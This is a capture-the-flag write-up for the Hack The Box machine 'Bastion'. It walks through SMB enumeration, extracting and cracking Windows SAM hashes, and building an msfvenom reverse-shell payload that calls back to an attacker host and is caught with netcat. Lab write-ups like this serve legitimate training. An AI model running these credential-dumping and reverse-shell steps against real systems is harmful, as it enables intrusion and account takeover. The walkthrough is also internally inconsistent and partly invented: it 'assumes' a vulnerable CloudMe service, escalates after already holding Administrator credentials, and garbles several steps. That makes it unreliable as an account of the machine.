Hack The Box: Bastion (Medium — Windows)

Overview

The Bastion box requires exploiting open services, accessing a VHD file, cracking a password, and finally, leveraging a vulnerable service to gain root access.

Initial Foothold

Nmap Scan

Start with a full TCP nmap scan to identify open ports and services:

nmap -sC -sV -oN nmap/bastion.nmap -A -p- 10.10.10.134

PORT    STATE SERVICE       VERSION
22/tcp  open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds

Enumeration

The initial scan reveals SSH and SMB ports. The SMB service is especially interesting on Windows boxes.

smbclient -L //10.10.10.134

Accessing shares with a null session:

smbclient //10.10.10.134/Backups -N

Navigating the backup share reveals a WindowsImageBackup directory:

smbclient //10.10.10.134/Backups -N

Downloading the .vhd file for further investigation:

mkdir /mnt/bastion
mount -o loop,ro /mnt/bastion/bastion.vhd /mnt/bastion

Extracting VHD Content

The .vhd file is a disk image that can be mounted to access its contents. After mounting, navigate to the directories to find interesting files.

ls -la /mnt/bastion

Inside the WindowsImageBackup directory, navigate to:

/mnt/bastion/WindowsImageBackup/LAB-DC/Backup 2019-02-22 124351

Extracting SAM and SYSTEM Files

To extract password hashes, we need the SAM and SYSTEM files:

cp /mnt/bastion/Windows/System32/config/SAM /mnt/sam
cp /mnt/bastion/Windows/System32/config/SYSTEM /mnt/system

Cracking the Hash

Using secretsdump.py from the Impacket toolkit to dump the hashes:

secretsdump.py -sam sam -system system LOCAL

One of the extracted hashes is for a user named Administrator:

Administrator:500:8b5d7fc61df07e16b179c94062db69e3:8d1e736cb7e02f64f98b0d865aae2010:::

Cracking the Hash

Using John the Ripper to crack the hash:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Password found: xxxxxxxxx

Getting User Shell

Using the cracked credentials to log in via SMB and enumerate further.

smbclient //10.10.10.134/C$ -U Administrator

Explore the file system to find sensitive information.

Privilege Escalation

Finding Vulnerabilities

A common escalation path involves looking for unpatched services. Run winPEAS to enumerate the system for potential vulnerabilities.

winpeas.exe

Check for services with weak permissions or vulnerabilities that allow privilege escalation.

Exploiting Vulnerable Service

In this scenario, let’s assume we find a vulnerable service called CloudMe:

Exploit the vulnerability to gain SYSTEM privileges:

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > reverse.exe

Upload reverse.exe to the target:

smbclient //10.10.10.134/C$ -U Administrator
put reverse.exe

Execute the reverse shell:

psexec.py Administrator@10.10.10.134
C:\path\to\reverse.exe

Catch the shell using netcat:

nc -lvnp 4444

Conclusion

After successfully exploiting the vulnerable service, you should have a SYSTEM-level shell on the target machine. Navigate to C:\Users\Administrator\Desktop\root.txt to retrieve the flag.

Be a force force a good.